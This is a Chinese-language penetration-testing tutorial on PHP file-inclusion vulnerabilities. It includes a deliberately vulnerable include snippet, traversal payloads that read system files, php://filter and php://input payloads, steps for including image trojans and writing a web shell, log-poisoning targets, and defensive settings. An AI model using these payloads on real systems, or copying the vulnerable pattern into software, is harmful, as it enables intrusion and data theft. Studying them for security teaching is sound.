渗透测试漏洞原理之---【任意文件包含漏洞】

1、文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中，形成“封装”。在使用某个功能的时候，直接调用此文件，无需再次编写，提高代码重用性，减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活，所以会把被包含的文件的路径设置为变量，来进行动态调用（包含），但正是由于这种灵活性，如果被包含文件的路径客户端可控，造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能，文件包含漏洞在PHP 的Web 应用中居多，在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP 提供了四个文件包含的语句，四个语句之间略有不同。

1.1.1、相关配置

文件包含是PHP 的基本功能之一，有本地文件包含与远程文件包含之分。简单来说，本地文件包含就是可以读取和打开本地文件，远程文件包含就是可以远程（方式）加载文件。可以通过php.ini 中的选项进行配置

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件
1
2

1.2、动态包含

1.2.1、示例代码

// file-include.php

$fp = @$_GET['filepath'];
@include $fp;
1
2
3
4

1.2.2、本地文件包含–LFI

本地文件包含（Local File Include，LFI）通过本地路径访问到的文件

?filepath=../phpinfo.php
1

1.2.3、远程文件包含–RFI

远程文件包含（Remote File Include，RFI），通过远程路径访问到的文件

?filepath=http://10.9.75.180/phpinfo.jpg
1

1.3、漏洞原理

PHP 文件包含是程序设计的基础功能之一，能够减少代码量，提高开发效率。但是使用文件包含功能时，有类似于以上测试代码的设计，实现了动态包含，就有产生文件包含漏洞的风险。如果实现动态包含的参数，Web 应用没有进行严格的校验，浏览器客户端用户可以影响控制被包含文件的路径，就会产生任意文件包含漏洞。

1.3.1、特点

无视文件扩展名读取文件内容

上传图片木马，通过文件包含的方式触发php木马

?filepath=./a.jpg
1

无条件解析PHP 代码，为图片木马提供了出路

?filepath=a_yjh_info.jpg
1

2、文件包含攻防

2.1、利用方法

2.1.1、包含图片木马

蚁剑直接连接

http://10.4.7.130/file-include/file-include.php?filepath=1.jpg
1

2.1.2、读取敏感文件

利用文件包含漏洞，也可以读取敏感文件。

前提条件：

• 目标文件存在（已知目标文件路径）；
• 具有文件可读权限

具体方法：

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
1
2
3
4
5
6

封装协议

2.1.3、读取PHP文件源码

利用php://fileter 读取

?filepath=php://filter/read=convert.base64-encode/resource=目标文件
1

读取结果是base64，需要解码

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==
1

2.1.4、执行PHP命令

利用条件：

• 利用php://input 执行PHP 命令；
• 远程文件包含开启

POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.80.141
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18

<?php phpinfo();?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

2.1.5、包含图片马写Shell

条件：

• 确定文件包含漏洞存在；
• 蚁剑不能直接连接

写shell：

 fputs(fopen("shell.php",'w'),'')?>
    
<?php file_put_contents('shell.php','')?>
1
2
3

利用：

http://10.4.7.130/file-include/shell.php
1

2.1.6、包含日志

Apache 日志：

• 访问日志
• 错误日志

Nginx 日志：

• 访问日志
• 错误日志

SSH 日志

邮件日志

2.3、文件包含防御

• 尽量少的使用动态包含；
• 严格过滤被包含文件的路径；
• 将参数allow_url_include 设置为Off；
• 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\
1

3、metinfo案例

Metinfo5.0.4-任意文件包含漏洞复现